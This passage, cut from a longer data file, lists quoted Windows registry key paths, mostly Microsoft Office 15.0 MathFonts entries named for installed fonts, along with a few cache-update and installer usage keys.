  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1812. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1813. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1814. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1902. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1903. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1904. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1910. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1911. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1913. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1918. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1919. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1920. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1923. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1924. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1925. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1926. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1927. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1928. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1929. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1930. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1931. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1932. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1933. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1936. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1937. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1941. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1942. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1943. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1944. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1945. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1946. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1947. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1952. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1953. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1954. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1955. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1956. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1957. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1958. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1959. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1960. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1961. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1962. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1963. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1964. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1965. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1967. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1968. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1969. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1970. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1973. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1974. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1975. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1976. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1977. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1978. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1979. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1980. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1981. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1982. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1983. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1984. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1985. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1986. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1987. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1988. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1989. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1990. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1991. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1992. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1993. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1994. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1995. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1996. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1997. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1998. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1999. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  2000. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  2001. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  2002. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  2003. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  2004. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  2005. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  2006. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  2007. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  2008. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  2009. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  2010. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  2011. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  2012. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  2013. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  2014. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  2015. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  2016. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  2017. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  2018. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  2019. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  2020. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  2021. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  2022. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  2023. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  2024. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  2025. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  2026. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  2027. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  2028. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  2029. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  2030. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  2031. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  2032. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  2033. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  2034. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  2035. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  2036. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  2037. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  2038. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  2039. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  2040. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  2041. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  2042. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  2043. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  2044. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  2045. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  2046. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  2047. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  2048. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  2049. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  2050. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  2051. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  2052. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
